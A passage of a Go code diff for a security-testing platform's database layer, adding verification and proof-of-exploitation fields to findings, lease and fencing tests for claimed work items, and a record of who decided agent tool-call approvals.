+	VerificationBlocked       = "blocked"
+	VerificationNotAssessed   = "not_assessed"
+	VerificationFalsePositive = "false_positive"
+)
+
+// ValidVerificationStatus reports whether s is a known verification state.
+func ValidVerificationStatus(s string) bool {
+	switch s {
+	case VerificationVerified, VerificationUnverified, VerificationBlocked,
+		VerificationNotAssessed, VerificationFalsePositive:
+		return true
+	}
+	return false
+}
+
+// SetFindingVerification records the verification state, POE level and note on
+// the standalone findings row. It does not touch status, report or evidence.
+func (d *DB) SetFindingVerification(findingID int64, status string, poe int, note string) error {
+	if !ValidVerificationStatus(status) {
+		return fmt.Errorf("invalid verification status %q", status)
+	}
+	if poe < 0 || poe > 4 {
+		return fmt.Errorf("invalid POE level %d (want 0-4)", poe)
+	}
+	res, err := d.Exec(`UPDATE findings SET verification_status=$2, poe_level=$3, verification_note=$4 WHERE id=$1`,
+		findingID, status, poe, note)
+	if err != nil {
+		return err
+	}
+	n, err := res.RowsAffected()
+	if err != nil {
+		return err
+	}
+	if n == 0 {
+		return ErrFindingNotFound
+	}
+	return nil
+}

db/findings.go

@@ -20,20 +20,23 @@ type DBFinding struct {
 	ReportEvidenceVersion int64
 	TrafficBindings       []FindingTrafficBinding // populated only for export
 
-	ID              int64
-	TaskID          *int64
-	NodeID          *int64
-	VulnClass       string
-	Name            string // vulnerability name (readable title); when empty the frontend falls back to VulnClass
-	Severity        string
-	Summary         string
-	Evidence        string
-	Worker          string
-	AssetIDs        []int64
-	Status          string
-	Report          string // detailed report (Markdown); only populated by GetFinding, not by list queries
-	CreatedAt       time.Time
-	TaskDescription string // populated via LEFT JOIN on tasks
+	ID                 int64
+	TaskID             *int64
+	NodeID             *int64
+	VulnClass          string
+	Name               string // vulnerability name (readable title); when empty the frontend falls back to VulnClass
+	Severity           string
+	Summary            string
+	Evidence           string
+	Worker             string
+	AssetIDs           []int64
+	Status             string
+	PoELevel           int    // proof-of-exploitation level 0-4 (S1); 0 = none declared
+	VerificationStatus string // verified / unverified / blocked / not_assessed / false_positive
+	VerificationNote   string // why the status was reached; empty when verified
+	Report             string // detailed report (Markdown); only populated by GetFinding, not by list queries
+	CreatedAt          time.Time
+	TaskDescription    string // populated via LEFT JOIN on tasks
 }
 
 // Finding triage states (findings.status).
@@ -105,6 +108,7 @@ func (d *DB) AddFinding(taskID, nodeID int64, vulnclass, name, severity, summary
 const findingSelectCols = `f.id, f.task_id, f.node_id, f.vulnclass, COALESCE(f.name, ''), f.severity, f.summary,
 	       f.evidence, f.worker, f.asset_ids, COALESCE(f.status, 'pending'), f.created_at,
 	       COALESCE(t.description, '') AS task_description, f.evidence_version, f.report_evidence_version,
+	       f.poe_level, COALESCE(f.verification_status, 'unverified'), COALESCE(f.verification_note, ''),
  (SELECT count(*) FROM finding_traffic_bindings b WHERE b.finding_id=f.id)`
 
 // scanFindings materializes rows selected via findingSelectCols.
@@ -118,7 +122,7 @@ func scanFindings(rows interface {
 		f := &DBFinding{}
 		var aidsJSON string
 		if err := rows.Scan(&f.ID, &f.TaskID, &f.NodeID, &f.VulnClass, &f.Name, &f.Severity,
-			&f.Summary, &f.Evidence, &f.Worker, &aidsJSON, &f.Status, &f.CreatedAt, &f.TaskDescription, &f.EvidenceVersion, &f.ReportEvidenceVersion, &f.TrafficCount); err != nil {
+			&f.Summary, &f.Evidence, &f.Worker, &aidsJSON, &f.Status, &f.CreatedAt, &f.TaskDescription, &f.EvidenceVersion, &f.ReportEvidenceVersion, &f.PoELevel, &f.VerificationStatus, &f.VerificationNote, &f.TrafficCount); err != nil {
 			return nil, err
 		}
 		_ = json.Unmarshal([]byte(aidsJSON), &f.AssetIDs)
@@ -150,12 +154,13 @@ func (d *DB) ListFindings(limit int) ([]*DBFinding, error) {
 // filter on that column". Sort is "severity" (severity desc, then newest) or
 // anything else (newest first).
 type FindingFilter struct {
-	Severity  string // high | medium | low
-	Status    string // pending | false_positive | ignored | resolved
-	VulnClass string
-	TaskID    string // task id (in string form; empty/invalid = do not filter by task)
-	Query     string // fuzzy search keyword over name/class/summary/evidence/report body
-	Sort      string // "severity" | "time"
+	Severity           string // high | medium | low
+	Status             string // pending | false_positive | ignored | resolved
+	VerificationStatus string // verified | unverified | blocked | not_assessed | false_positive
+	VulnClass          string
+	TaskID             string // task id (in string form; empty/invalid = do not filter by task)
+	Query              string // fuzzy search keyword over name/class/summary/evidence/report body
+	Sort               string // "severity" | "time"
 	// AssetScope is a node key of the asset tree (a:<id> / c:<id> / r:<domain> /
 	// __none__); selecting a node means selecting its whole subtree.
 	// Empty = do not filter by asset.
@@ -188,6 +193,7 @@ func (f FindingFilter) where() (string, []any) {
 	}
 	add("severity", f.Severity)
 	add("status", f.Status)
+	add("verification_status", f.VerificationStatus)
 	add("vulnclass", f.VulnClass)
 	// task_id is a bigint column, compared as an integer (it cannot go through
 	// the text add above); empty/invalid values are ignored.
@@ -519,7 +525,7 @@ func (d *DB) ListFindingsForExport(f FindingFilter, ids []int64) ([]*DBFinding,
 		var aidsJSON string
 		if err := rows.Scan(&f.ID, &f.TaskID, &f.NodeID, &f.VulnClass, &f.Name, &f.Severity,
 			&f.Summary, &f.Evidence, &f.Worker, &aidsJSON, &f.Status, &f.CreatedAt,
-			&f.TaskDescription, &f.EvidenceVersion, &f.ReportEvidenceVersion, &f.TrafficCount, &f.Report); err != nil {
+			&f.TaskDescription, &f.EvidenceVersion, &f.ReportEvidenceVersion, &f.PoELevel, &f.VerificationStatus, &f.VerificationNote, &f.TrafficCount, &f.Report); err != nil {
 			return nil, err
 		}
 		_ = json.Unmarshal([]byte(aidsJSON), &f.AssetIDs)
@@ -649,7 +655,7 @@ func (d *DB) GetFinding(id int64) (*DBFinding, error) {
 		WHERE f.id = $1`, id).Scan(
 		&f.ID, &f.TaskID, &f.NodeID, &f.VulnClass, &f.Name, &f.Severity,
 		&f.Summary, &f.Evidence, &f.Worker, &aidsJSON, &f.Status, &f.CreatedAt,
-		&f.TaskDescription, &f.EvidenceVersion, &f.ReportEvidenceVersion, &f.TrafficCount, &f.Report)
+		&f.TaskDescription, &f.EvidenceVersion, &f.ReportEvidenceVersion, &f.PoELevel, &f.VerificationStatus, &f.VerificationNote, &f.TrafficCount, &f.Report)
 	if err == sql.ErrNoRows {
 		return nil, nil
 	}

db/intent_claim_test.go

@@ -0,0 +1,398 @@
+package db
+
+import (
+	"database/sql"
+	"errors"
+	"sync"
+	"testing"
+	"time"
+)
+
+// openClaimInstances opens the test database twice — two application instances
+// sharing one database — and returns each instance's store for a fresh
+// exploration.
+func openClaimInstances(t *testing.T) (*DB, *ExplorationStore, *ExplorationStore) {
+	t.Helper()
+	dsn := testDSN(t)
+	a, err := Open(dsn)
+	if err != nil {
+		t.Skipf("postgres unavailable (%v) - skipping", err)
+	}
+	t.Cleanup(func() { a.Close() })
+	b, err := Open(dsn)
+	if err != nil {
+		t.Fatalf("open second instance: %v", err)
+	}
+	t.Cleanup(func() { b.Close() })
+	expID, err := a.CreateExploration("intent claim lease", "heartbeat, expiry and fencing")
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { a.Exec(`DELETE FROM explorations WHERE id=$1`, expID) })
+	return a, a.Exploration(expID), b.Exploration(expID)
+}
+
+func addClaimIntent(t *testing.T, store *ExplorationStore) int64 {
+	t.Helper()
+	id, err := store.AddIntent(map[string]any{"summary": "leased"}, 1, nil, "planner")
+	if err != nil {
+		t.Fatal(err)
+	}
+	return id
+}
+
+func claimIntentToken(t *testing.T, store *ExplorationStore, id int64, owner string) string {
+	t.Helper()
+	token, err := store.ClaimIntentToken(id, owner)
+	if err != nil || token == "" {
+		t.Fatalf("claim by %s: token=%q err=%v", owner, token, err)
+	}
+	return token
+}
+
+// ageClaimHeartbeat moves the intent's last heartbeat age into the past, on the
+// database clock the expiry check uses.
+func ageClaimHeartbeat(t *testing.T, d *DB, id int64, age time.Duration) {
+	t.Helper()
+	if _, err := d.Exec(`UPDATE exploration_nodes SET last_heartbeat_at = now() - $2 * INTERVAL '1 second' WHERE id=$1`, id, age.Seconds()); err != nil {
+		t.Fatal(err)
+	}
+}
+
+type claimRow struct {
+	state         string
+	token         sql.NullString
+	blockedReason sql.NullString
+	heartbeatAge  sql.NullFloat64 // seconds since last_heartbeat_at; NULL when never set
+}
+
+func readClaimRow(t *testing.T, d *DB, id int64) claimRow {
+	t.Helper()
+	var row claimRow
+	if err := d.QueryRow(`SELECT state, unclaim_token, blocked_reason, EXTRACT(EPOCH FROM now() - last_heartbeat_at)::float8
+FROM exploration_nodes WHERE id=$1`, id).Scan(&row.state, &row.token, &row.blockedReason, &row.heartbeatAge); err != nil {
+		t.Fatal(err)
+	}
+	return row
+}
+
+func mustResetRunning(t *testing.T, store *ExplorationStore, want int64) {
+	t.Helper()
+	n, err := store.ResetRunningIntents()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if n != want {
+		t.Fatalf("ResetRunningIntents reclaimed %d intents, want %d", n, want)
+	}
+}
+
+func TestIntentClaimLiveClaimIsNotReclaimed(t *testing.T) {
+	d, a, b := openClaimInstances(t)
+	id := addClaimIntent(t, a)
+	token := claimIntentToken(t, a, id, "work#1")
+
+	row := readClaimRow(t, d, id)
+	if row.state != "running" || row.token.String != token || !row.heartbeatAge.Valid {
+		t.Fatalf("claim did not start a lease: %+v", row)
+	}
+
+	// Neither the claiming instance nor a second instance on the same database
+	// may take a live claim over, by reset or by a fresh claim.
+	mustResetRunning(t, a, 0)
+	mustResetRunning(t, b, 0)
+	if other, err := b.ClaimIntentToken(id, "work#2"); err != nil || other != "" {
+		t.Fatalf("second instance claimed a live intent: token=%q err=%v", other, err)
+	}
+
+	// Still live just inside the TTL.
+	ageClaimHeartbeat(t, d, id, IntentClaimTTL-10*time.Second)
+	mustResetRunning(t, b, 0)
+
+	row = readClaimRow(t, d, id)
+	if row.state != "running" || row.token.String != token {
+		t.Fatalf("live claim changed: %+v, want running with token %q", row, token)
+	}
+	if err := a.HeartbeatIntentClaim(id, token); err != nil {
+		t.Fatalf("heartbeat of the live claimer: %v", err)
+	}
+}
+
+func TestIntentClaimExpiredClaimIsReclaimed(t *testing.T) {
+	d, a, b := openClaimInstances(t)
+	id := addClaimIntent(t, a)
+	old := claimIntentToken(t, a, id, "work#1")
+
+	ageClaimHeartbeat(t, d, id, IntentClaimTTL+time.Second)
+	mustResetRunning(t, b, 1)
+
+	row := readClaimRow(t, d, id)
+	if row.state != "open" || row.token.Valid {
+		t.Fatalf("expired claim not released: %+v, want open with no token", row)
+	}
+	fresh := claimIntentToken(t, b, id, "work#2")
+	if fresh == old {
+		t.Fatal("re-claim reused the previous unclaim token")
+	}
+	mustResetRunning(t, a, 0) // the new claim is live
+}
+
+// A row claimed before the lease columns existed has neither a heartbeat nor a
+// token; SetIntentState produces exactly that shape. It counts as expired.
+func TestIntentClaimLegacyRunningRowIsReclaimed(t *testing.T) {
+	d, a, b := openClaimInstances(t)
+	id := addClaimIntent(t, a)
+	if err := a.SetIntentState(id, "running"); err != nil {
+		t.Fatal(err)
+	}
+	row := readClaimRow(t, d, id)
+	if row.heartbeatAge.Valid || row.token.Valid {
+		t.Fatalf("legacy fixture carries lease data: %+v", row)
+	}
+
+	mustResetRunning(t, b, 1)
+	if row = readClaimRow(t, d, id); row.state != "open" {
+		t.Fatalf("legacy running row state=%q, want open", row.state)
+	}
+	claimIntentToken(t, b, id, "work#1")
+}
+
+func TestIntentClaimHeartbeatExtendsLease(t *testing.T) {
+	d, a, b := openClaimInstances(t)
+	id := addClaimIntent(t, a)
+	token := claimIntentToken(t, a, id, "work#1")
+
+	// Past the TTL but not yet taken over: the claimer's heartbeat renews it.
+	ageClaimHeartbeat(t, d, id, IntentClaimTTL+time.Second)
+	if err := a.HeartbeatIntentClaim(id, token); err != nil {
+		t.Fatalf("heartbeat: %v", err)
+	}
+	mustResetRunning(t, b, 0)
+
+	row := readClaimRow(t, d, id)
+	if row.state != "running" || row.token.String != token {
+		t.Fatalf("heartbeat did not keep the claim: %+v", row)
+	}
+	if !row.heartbeatAge.Valid || row.heartbeatAge.Float64 > 30 {
+		t.Fatalf("last_heartbeat_at not renewed: age=%+v", row.heartbeatAge)
+	}
+
+	// Without a further heartbeat the same claim does expire.
+	ageClaimHeartbeat(t, d, id, IntentClaimTTL+time.Second)
+	mustResetRunning(t, b, 1)
+}
+
+func TestIntentClaimStaleWorkerIsFencedAfterReclaim(t *testing.T) {
+	d, a, b := openClaimInstances(t)
+	id := addClaimIntent(t, a)
+	stale := claimIntentToken(t, a, id, "work#1")
+
+	ageClaimHeartbeat(t, d, id, IntentClaimTTL+time.Second)
+	mustResetRunning(t, b, 1)
+
+	assertFenced := func(when string) {
+		t.Helper()
+		before := readClaimRow(t, d, id)
+		if err := a.HeartbeatIntentClaim(id, stale); !errors.Is(err, ErrIntentClaimLost) {
+			t.Fatalf("%s: stale heartbeat err=%v, want ErrIntentClaimLost", when, err)
+		}
+		if err := a.SettleIntentClaim(id, stale, "done"); !errors.Is(err, ErrIntentClaimLost) {
+			t.Fatalf("%s: stale result write err=%v, want ErrIntentClaimLost", when, err)
+		}
+		if err := a.SettleIntentClaimBlocked(id, stale, IntentBlockedLLMQuota); !errors.Is(err, ErrIntentClaimLost) {
+			t.Fatalf("%s: stale blocked write err=%v, want ErrIntentClaimLost", when, err)
+		}
+		after := readClaimRow(t, d, id)
+		if after.state != before.state || after.token != before.token || after.blockedReason != before.blockedReason {
+			t.Fatalf("%s: a rejected stale write changed the intent: %+v -> %+v", when, before, after)
+		}
+	}
+	assertFenced("after takeover, before the re-claim")
+
+	current := claimIntentToken(t, b, id, "work#2")
+	ageClaimHeartbeat(t, d, id, time.Minute)
+	assertFenced("after the re-claim")
+	if row := readClaimRow(t, d, id); row.state != "running" || row.token.String != current || row.heartbeatAge.Float64 < 50 {
+		t.Fatalf("stale worker touched the new claim: %+v", row)
+	}
+
+	// The current claimer is unaffected and its result write releases the claim.
+	if err := b.HeartbeatIntentClaim(id, current); err != nil {
+		t.Fatalf("current claimer heartbeat: %v", err)
+	}
+	if err := b.SettleIntentClaim(id, current, "done"); err != nil {
+		t.Fatalf("current claimer result write: %v", err)
+	}
+	if row := readClaimRow(t, d, id); row.state != "done" || row.token.Valid {
+		t.Fatalf("settled intent: %+v, want done with no token", row)
+	}
+	if err := b.SettleIntentClaim(id, current, "blocked"); !errors.Is(err, ErrIntentClaimLost) {
+		t.Fatalf("second settle with a released token err=%v, want ErrIntentClaimLost", err)
+	}
+}
+
+func TestSettleIntentClaimBlockedAndStateConflict(t *testing.T) {
+	d, a, _ := openClaimInstances(t)
+
+	blocked := addClaimIntent(t, a)
+	token := claimIntentToken(t, a, blocked, "work#1")
+	if err := a.SettleIntentClaimBlocked(blocked, token, IntentBlockedLLMQuota); err != nil {
+		t.Fatal(err)
+	}
+	if row := readClaimRow(t, d, blocked); row.state != "blocked" || row.blockedReason.String != IntentBlockedLLMQuota || row.token.Valid {
+		t.Fatalf("blocked settle: %+v", row)
+	}
+
+	// The token is still current but the intent left 'running' through an
+	// unfenced path: that is a state conflict, not a lost claim.
+	moved := addClaimIntent(t, a)
+	token = claimIntentToken(t, a, moved, "work#1")
+	if err := a.SetIntentState(moved, "paused"); err != nil {
+		t.Fatal(err)
+	}
+	err := a.SettleIntentClaim(moved, token, "done")
+	if !errors.Is(err, ErrIntentStateConflict) || errors.Is(err, ErrIntentClaimLost) {
+		t.Fatalf("settle of a non-running intent err=%v, want ErrIntentStateConflict", err)
+	}
+	if row := readClaimRow(t, d, moved); row.state != "paused" {
+		t.Fatalf("rejected settle changed the state to %q", row.state)
+	}
+}
+
+func TestClaimPausedIntentTokenStartsLease(t *testing.T) {
+	d, a, b := openClaimInstances(t)
+	id := addClaimIntent(t, a)
+	first := claimIntentToken(t, a, id, "work#1")
+	if err := a.SettleIntentClaim(id, first, "paused"); err != nil {
+		t.Fatal(err)
+	}
+	ageClaimHeartbeat(t, d, id, IntentClaimTTL+time.Second) // the paused intent's old heartbeat is stale
+
+	token, err := a.ClaimPausedIntentToken(id)
+	if err != nil || token == "" || token == first {
+		t.Fatalf("claim paused: token=%q first=%q err=%v", token, first, err)
+	}
+	if again, err := b.ClaimPausedIntentToken(id); err != nil || again != "" {
+		t.Fatalf("second paused claim: token=%q err=%v, want none", again, err)
+	}
+	mustResetRunning(t, b, 0)
+	if row := readClaimRow(t, d, id); row.state != "running" || row.token.String != token {
+		t.Fatalf("paused claim: %+v", row)
+	}
+	if err := a.SettleIntentClaim(id, first, "done"); !errors.Is(err, ErrIntentClaimLost) {
+		t.Fatalf("previous run's token err=%v, want ErrIntentClaimLost", err)
+	}
+}
+
+// A heartbeat racing a takeover of the same expired claim must have exactly one
+// winner: either the claim is renewed and stays, or it is taken over and the
+// heartbeat is rejected. Both succeeding would be a stolen live claim.
+func TestIntentClaimTakeoverRacesHeartbeatAtomically(t *testing.T) {
+	d, a, b := openClaimInstances(t)
+	id := addClaimIntent(t, a)
+	token := claimIntentToken(t, a, id, "work#1")
+
+	var renewed, takenOver int
+	for round := 0; round < 40; round++ {
+		ageClaimHeartbeat(t, d, id, IntentClaimTTL+time.Second)
+		var heartbeatErr, resetErr error
+		var reclaimed int64
+		var wg sync.WaitGroup
+		start := make(chan struct{})
+		wg.Add(2)
+		go func() {
+			defer wg.Done()
+			<-start
+			heartbeatErr = a.HeartbeatIntentClaim(id, token)
+		}()
+		go func() {
+			defer wg.Done()
+			<-start
+			reclaimed, resetErr = b.ResetRunningIntents()
+		}()
+		close(start)
+		wg.Wait()
+		if resetErr != nil {
+			t.Fatal(resetErr)
+		}
+		row := readClaimRow(t, d, id)
+		switch {
+		case heartbeatErr == nil && reclaimed == 0:
+			renewed++
+			if row.state != "running" || row.token.String != token {
+				t.Fatalf("round %d: renewed claim is %+v", round, row)
+			}
+		case errors.Is(heartbeatErr, ErrIntentClaimLost) && reclaimed == 1:
+			takenOver++
+			if row.state != "open" || row.token.Valid {
+				t.Fatalf("round %d: taken-over claim is %+v", round, row)
+			}
+			token = claimIntentToken(t, a, id, "work#1")
+		default:
+			t.Fatalf("round %d: heartbeat err=%v with %d reclaimed, want exactly one winner", round, heartbeatErr, reclaimed)
+		}
+	}
+	t.Logf("heartbeat won %d rounds, takeover won %d rounds", renewed, takenOver)
+}
+
+// The lease columns reach existing installs through schema.sql, which runs on
+// every startup. This replays it on a table stripped back to its pre-upgrade
+// shape, inside a transaction that is always rolled back.
+func TestIntentClaimColumnsMigrateIdempotently(t *testing.T) {
+	d, err := Open(testDSN(t))
+	if err != nil {
+		t.Skipf("postgres unavailable (%v) - skipping", err)
+	}
+	defer d.Close()
+
+	tx, err := d.Begin()
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer tx.Rollback() //nolint:errcheck // the test never commits
+
+	if _, err := tx.Exec(`ALTER TABLE exploration_nodes DROP COLUMN IF EXISTS last_heartbeat_at, DROP COLUMN IF EXISTS unclaim_token`); err != nil {
+		t.Fatalf("simulate old table: %v", err)
+	}
+	var legacy int64
+	if err := tx.QueryRow(`
+WITH exp AS (INSERT INTO explorations(description, goal) VALUES ('legacy', 'pre-lease install') RETURNING id)
+INSERT INTO exploration_nodes(exploration_id, kind, state, owner)
+SELECT id, 'intent', 'running', 'work#1' FROM exp RETURNING id`).Scan(&legacy); err != nil {
+		t.Fatalf("insert legacy running intent: %v", err)
+	}
+
+	for run := 1; run <= 2; run++ {
+		if _, err := tx.Exec(schemaSQL); err != nil {
+			t.Fatalf("schema run %d: %v", run, err)
+		}
+		for col, typ := range map[string]string{"last_heartbeat_at": "timestamp with time zone", "unclaim_token": "text"} {
+			var dataType, nullable string
+			if err := tx.QueryRow(`SELECT data_type, is_nullable FROM information_schema.columns
+WHERE table_schema=current_schema() AND table_name='exploration_nodes' AND column_name=$1`, col).Scan(&dataType, &nullable); err != nil {
+				t.Fatalf("schema run %d: column %s: %v", run, col, err)
+			}
+			if dataType != typ || nullable != "YES" {
+				t.Fatalf("schema run %d: column %s is %s nullable=%s, want %s nullable", run, col, dataType, nullable, typ)
+			}
+		}
+		var checks int
+		if err := tx.QueryRow(`SELECT count(*) FROM pg_constraint
+WHERE conrelid='exploration_nodes'::regclass AND contype='c'
+  AND (pg_get_constraintdef(oid) LIKE '%last_heartbeat_at%' OR pg_get_constraintdef(oid) LIKE '%unclaim_token%')`).Scan(&checks); err != nil {
+			t.Fatal(err)
+		}
+		if checks != 0 {
+			t.Fatalf("schema run %d: %d CHECK constraints on the lease columns, want none", run, checks)
+		}
+		var state string
+		var heartbeat sql.NullTime
+		var token sql.NullString
+		if err := tx.QueryRow(`SELECT state, last_heartbeat_at, unclaim_token FROM exploration_nodes WHERE id=$1`, legacy).Scan(&state, &heartbeat, &token); err != nil {
+			t.Fatal(err)
+		}
+		if state != "running" || heartbeat.Valid || token.Valid {
+			t.Fatalf("schema run %d: legacy row state=%q heartbeat=%v token=%v, want running with NULL lease columns", run, state, heartbeat, token)
+		}
+	}
+}

db/intercept.go

@@ -27,6 +27,8 @@ type InterceptRule struct {
 }
 
 // InterceptPending is one row of intercept_pending.
+// DecidedBy is the actor that settled the request: "" while pending, otherwise
+// human | rule | model | system (timeouts and cancellations).
 type InterceptPending struct {
 	ID             int64           `json:"id"`
 	RuleID         *int64          `json:"rule_id"`
@@ -37,7 +39,8 @@ type InterceptPending struct {
 	ToolInput      json.RawMessage `json:"tool_input"`
 	Status         string          `json:"status"`
 	DecisionSource string          `json:"decision_source"`
-	Reason         string          `json:"reason"` // rule message or model decision reason (prefixed with [Model])
+	DecidedBy      string          `json:"decided_by"`
+	Reason         string          `json:"reason"` // rule message or model decision reason (prefixed with ModelReasonPrefix)
 	DecidedAt      *time.Time      `json:"decided_at"`
 	CreatedAt      time.Time       `json:"created_at"`
 }
@@ -163,19 +166,25 @@ func (d *DB) CreateDecidedIntercept(ruleID, convID int64, taskID, agentName, too
 	if ruleID != 0 {
 		ruleIDPtr = &ruleID
 	}
+	// Rows logged here were settled without a human: by the matching rule, or by
+	// the model judge when no rule owns the decision.
+	decidedBy := "model"
+	if ruleID != 0 {
+		decidedBy = "rule"
+	}
 	var id int64
 	err := d.QueryRow(`
-INSERT INTO intercept_pending(rule_id, conversation_id, task_id, agent_name, tool_name, tool_input, status, reason, decided_at, decision_source, audit)
-VALUES ($1, $2, $3, $4, $5, $6, $7, $8, NOW(), $9, $10) RETURNING id`,
-		ruleIDPtr, convIDPtr, taskIDPtr, agentName, toolName, raw, status, reason, interceptSource(ruleID, reason), firstAudit(audits)).Scan(&id)
+INSERT INTO intercept_pending(rule_id, conversation_id, task_id, agent_name, tool_name, tool_input, status, reason, decided_at, decision_source, audit, decided_by)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, NOW(), $9, $10, $11) RETURNING id`,
+		ruleIDPtr, convIDPtr, taskIDPtr, agentName, toolName, raw, status, reason, interceptSource(ruleID, reason), firstAudit(audits), decidedBy).Scan(&id)
 	return id, err
 }
 
-const interceptPendingCols = `id, rule_id, conversation_id, task_id, agent_name, tool_name, tool_input, status, reason, decided_at, created_at, decision_source`
+const interceptPendingCols = `id, rule_id, conversation_id, task_id, agent_name, tool_name, tool_input, status, reason, decided_at, created_at, decision_source, decided_by`
 
 func scanInterceptPending(s interface{ Scan(...any) error }, p *InterceptPending) error {
 	return s.Scan(&p.ID, &p.RuleID, &p.ConversationID, &p.TaskID, &p.AgentName,
-		&p.ToolName, &p.ToolInput, &p.Status, &p.Reason, &p.DecidedAt, &p.CreatedAt, &p.DecisionSource)
+		&p.ToolName, &p.ToolInput, &p.Status, &p.Reason, &p.DecidedAt, &p.CreatedAt, &p.DecisionSource, &p.DecidedBy)
 }
 
 // ListPendingIntercepts returns all unresolved approval requests, newest first.
@@ -221,17 +230,37 @@ func scanInterceptApprovalRow(rows interface{ Scan(...any) error }, r *Intercept
 	return rows.Scan(
 		&r.ID, &r.RuleID, &r.ConversationID, &r.TaskID, &r.AgentName,
 		&r.ToolName, &r.ToolInput, &r.Status, &r.Reason, &r.DecidedAt, &r.CreatedAt,
-		&r.DecisionSource, &r.ConvTitle, &r.ConvAgentKey, &r.RuleName,
+		&r.DecisionSource, &r.DecidedBy, &r.ConvTitle, &r.ConvAgentKey, &r.RuleName,
 	)
 }
 
+// ModelReasonPrefix starts every reason written by the LLM fallback judge
+// (intercept.JudgeReason); readers derive decision_source='model' from it.
+const ModelReasonPrefix = "[model]"
+
+// legacyModelReasonPrefix is what the judge wrote before the UI translation (e233c02).
+const legacyModelReasonPrefix = "[模型]"
+
+// isModelReason reports whether reason was written by the model judge. The
+// comparison ignores case: readers used to expect "[Model]" while the writer
+// produced "[model]", so stored rows may carry either spelling.
+func isModelReason(reason string) bool {
+	return strings.HasPrefix(strings.ToLower(reason), ModelReasonPrefix) ||
+		strings.HasPrefix(reason, legacyModelReasonPrefix)
+}
+
 // Keep legacy rows without decision_source consistent with their displayed source.
+// Mirrors isModelReason; PostgreSQL LIKE is case-sensitive and '[' is literal.
 const approvalDecisionSource = `COALESCE(NULLIF(ip.decision_source,''), CASE
  WHEN ip.rule_id IS NOT NULL THEN 'rule'
- WHEN ip.reason LIKE '[Model]%' THEN 'model' ELSE 'unknown' END)`
+ WHEN lower(ip.reason) LIKE '` + ModelReasonPrefix + `%' OR ip.reason LIKE '` + legacyModelReasonPrefix + `%' THEN 'model' ELSE 'unknown' END)`
 
+// decided_by is returned exactly as stored, never merged with decision_source:
+// rows decided before the column existed keep it empty, so the displayed value
+// is always the one the decided_by filter matches.
 const approvalRowColumns = `ip.id, ip.rule_id, ip.conversation_id, ip.task_id, ip.agent_name,
        ip.tool_name, ip.tool_input, ip.status, ip.reason, ip.decided_at, ip.created_at, ` + approvalDecisionSource + `,
+       ip.decided_by,
        COALESCE(c.title,'') AS conv_title,
        COALESCE(c.agent_key,'') AS conv_agent_key,
        COALESCE(ir.name,'') AS rule_name`
@@ -248,7 +277,7 @@ func interceptSource(ruleID int64, reason string) string {
 	if ruleID != 0 {
 		return "rule"
 	}
-	if strings.HasPrefix(reason, "[Model]") {
+	if isModelReason(reason) {
 		return "model"
 	}
 	return "unknown"
@@ -284,11 +313,12 @@ func (d *DB) ListAllIntercepts(limit int) ([]InterceptApprovalRow, error) {
 	return out, rows.Err()
 }
 
-// InterceptApprovalFilter combines exact status and decision-source filters.
-// Empty fields include all values.
+// InterceptApprovalFilter combines exact status, decision-source and
+// deciding-actor filters. Empty fields include all values.
 type InterceptApprovalFilter struct {
 	Status         string
 	DecisionSource string
+	DecidedBy      string
 }
 
 // ListAllInterceptsPage returns one 1-based page and the total matching count.
@@ -342,6 +372,10 @@ func (d *DB) listInterceptsPage(taskID string, page, size int, filter InterceptA
 	add("ip.task_id", taskID)
 	add("ip.status", filter.Status)
 	add(approvalDecisionSource, filter.DecisionSource)
+	// Stored actor only, the same value the rows display: deriving it from
+	// decision_source would let decided_by=model match human decisions and
+	// timeouts recorded before the column existed.
+	add("ip.decided_by", filter.DecidedBy)
 	where := ""
 	if len(conditions) > 0 {
 		where = " WHERE " + strings.Join(conditions, " AND ")

db/intercept_decided_by_test.go

@@ -0,0 +1,169 @@
+package db
+
+import (
+	"slices"
+	"testing"
+)
+
+// The actor whitelist is enforced in Go (there is no SQL CHECK). It must reject
+// before touching the database, so this runs without Postgres.
+func TestResolveInterceptRejectsUnknownActor(t *testing.T) {
+	d := &DB{}
+	for _, actor := range []string{"", "unknown", "Human", "admin"} {
+		if ok, err := d.ResolveIntercept(1, "allowed", "allow", "fixture", actor); err == nil || ok {
+			t.Fatalf("decided_by %q accepted: ok=%t err=%v", actor, ok, err)
+		}
+	}
+}
+
+func TestInterceptDecidedBy(t *testing.T) {
+	d, err := Open(testDSN(t))
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = d.Close() })
+	scope := "approval-decided-by"
+	t.Cleanup(func() { _, _ = d.Exec(`DELETE FROM intercept_pending WHERE task_id=$1`, scope) })
+	rule, err := d.CreateInterceptRule("decided-by fixture", "tool_name", "string", "Bash", "deny", "fixture", 1, false, false, 0, "deny")
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _, _ = d.Exec(`DELETE FROM intercept_rules WHERE id=$1`, rule.ID) })
+
+	input := []byte(`{"command":"fixture"}`)
+	decided := func(ruleID int64, status, reason string) int64 {
+		t.Helper()
+		id, err := d.CreateDecidedIntercept(ruleID, 0, scope, "test", "Bash", input, status, reason)
+		if err != nil {
+			t.Fatal(err)
+		}
+		return id
+	}
+	asked := func() int64 {
+		t.Helper()
+		id, err := d.CreateInterceptPending(0, 0, scope, "test", "Bash", input, ModelReasonPrefix+" confirm")
+		if err != nil {
+			t.Fatal(err)
+		}
+		return id
+	}
+	resolved := func(status, action, reason, actor string) int64 {
+		t.Helper()
+		id := asked()
+		if ok, err := d.ResolveIntercept(id, status, action, reason, actor); err != nil || !ok {
+			t.Fatalf("resolve %s/%s: ok=%t err=%v", status, actor, ok, err)
+		}
+		return id
+	}
+
+	ruleID := decided(rule.ID, "denied", "fixture")
+	modelID := decided(0, "allowed", ModelReasonPrefix+" fixture")
+	pendingID := asked()
+	humanAllowID := resolved("allowed", "allow", "user approved execution", "human")
+	humanDenyID := resolved("denied", "deny", "user rejected execution", "human")
+	timeoutID := resolved("timeout", "deny", "approval timed out, applying timeout policy", "system")
+	// A cancellation is a system refusal even though its status is 'denied'.
+	cancelledID := resolved("denied", "deny", "work cancelled", "system")
+
+	want := map[int64]string{
+		ruleID: "rule", modelID: "model", pendingID: "",
+		humanAllowID: "human", humanDenyID: "human",
+		timeoutID: "system", cancelledID: "system",
+	}
+	for id, actor := range want {
+		stored, err := d.GetInterceptPending(id)
+		if err != nil || stored == nil || stored.DecidedBy != actor {
